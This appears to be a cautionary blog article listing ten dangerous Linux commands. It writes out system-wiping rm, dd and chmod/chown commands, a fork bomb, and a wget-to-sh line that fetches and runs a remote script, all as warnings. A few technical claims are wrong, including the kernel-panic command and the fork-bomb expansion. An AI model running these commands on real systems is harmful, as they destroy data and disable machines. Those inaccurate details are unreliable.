Commands you should not run in Linux

In the vast world of Linux, the terminal is a powerful tool that grants users unprecedented control over their systems. However, with great power comes great responsibility. There are certain commands that, while they may seem harmless or curious at first glance, can cause irreparable damage to your system. In this article, we will explore ten of these lethal commands, explaining in detail why you should keep them away from your terminal.

The Devastating rm -rf /

We start with the infamous rm -rf / command, a statement that seems simple but hides destructive potential. This command deletes all system files, starting from the root (/). The -r modifier indicates that deletion should be recursive, that is, affect all files and directories contained in the specified directory, while -f forces deletion without asking for confirmation. Running this command as a superuser means saying goodbye to your operating system, your data, and any hope of easy recovery.

In short, be careful with executing recursive rm commands as we can delete more than we want:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

The Trap of :(){ :|: & };:

This enigmatic command is an example of a fork bomb function. It defines a function called : that, when executed, calls itself twice, and each call is executed in the background. This causes a chain reaction, doubling processes indefinitely and consuming system resources until it hangs. It’s a denial of service attack against your own machine, pushing processing and memory capacity to the limit.

To better understand, :(){ :|: & };: is the same as running:

bomb() {
    bomb | bomb &;
}; bomb

The Danger of dd if=/dev/zero of=/dev/sda

The dd command is a powerful tool used to convert and copy files at the block level. In this context, if=/dev/zero sets the input to a continuous stream of zeros, and of=/dev/sda designates the target device, usually the main hard drive. This command overwrites the entire disk with zeros, irreversibly erasing the operating system, programs, and user data. It is essential to understand the function of each part of the command before executing something as powerful as dd.

Downloading and Executing a Malicious File

For example, the command wget http://example.com/malicious.sh -O- | sh

This command uses wget to download a script from an Internet address and executes it directly in the shell with sh. The danger lies in executing code without reviewing it, coming from an unreliable source. It could be a malicious script designed to damage your system or compromise your security. It is always vital to verify the content of scripts before executing them.

Dangerous Modification of Permissions and Properties

Modifying permissions with, for example, chmod 777 / -R can render your system unusable.
chmod changes the permissions of files and directories, and 777 grants full permissions (read, write, and execute) to all users. Applying this recursively (-R) to the root (/) removes any form of access control, exposing the system to serious security risks. Any user could modify any file, with potentially disastrous consequences.

The chown nobody:nogroup / -R Command

Similar to the previous case, chown changes the owner and group of files and directories. Using nobody:nogroup assigns ownership to a user and group without privileges, applied recursively from the root, can leave the system in an inoperable state, as critical services and processes might lose access to the files necessary for their operation.

The Mysterious mv /home/your_user/* /dev/null

Moving files to the /dev/null directory is equivalent to deleting them, as /dev/null is a black hole in the system that discards everything it receives. This command, applied to the user directory, can result in the loss of all personal data, settings, and important files stored in your home.

The Dangerous find

The find command can be very dangerous, for example, if we execute the following command:

find / -name '*.jpg' -type f -delete

What happens is that find is a versatile tool for searching for files in the file system that meet certain criteria. This command searches for all .jpg files in the system and deletes them. Although it might seem useful for freeing up space, indiscriminately deleting files based only on their extension can result in the loss of important documents, memories, and resources.

Causing a Kernel Panic

The following command is capable of causing a kernel panic:

echo 1 > /proc/sys/kernel/panic;

Causing a Kernel Panic error in Linux is comparable to the dreaded blue screen of death in Windows, debunking the belief that Linux is infallible. Through certain commands, like redirecting random data to critical system devices or directly manipulating memory, Linux can be forced into a kernel panic state, making the system unrecoverable without a reboot. These commands are highly risky and can result in data loss or system corruption.

Overwriting the System Disk with the Output of a Command

Overwriting the hard drive in Linux, using commands that redirect the output of any Bash command directly to a disk device (/dev/hda), can result in total data loss. This process is irreversible and differs from formatting, as it involves writing raw data over the entire unit, making it unusable. It’s a highly dangerous action with no practical benefit in most contexts.

An example of this would be:

command1 > /dev/sda1

Protect Your System, Protect Your Peace of Mind

Exploring and experimenting with Linux can be a rewarding and educational experience. However, it’s crucial to do so with knowledge and caution. The commands discussed here represent only a fraction of what is possible (and potentially dangerous) in the terminal. The golden rule is simple: if you’re not sure what a command does, research before executing it. Protecting your system is protecting your work, your memories, and ultimately, your peace of mind.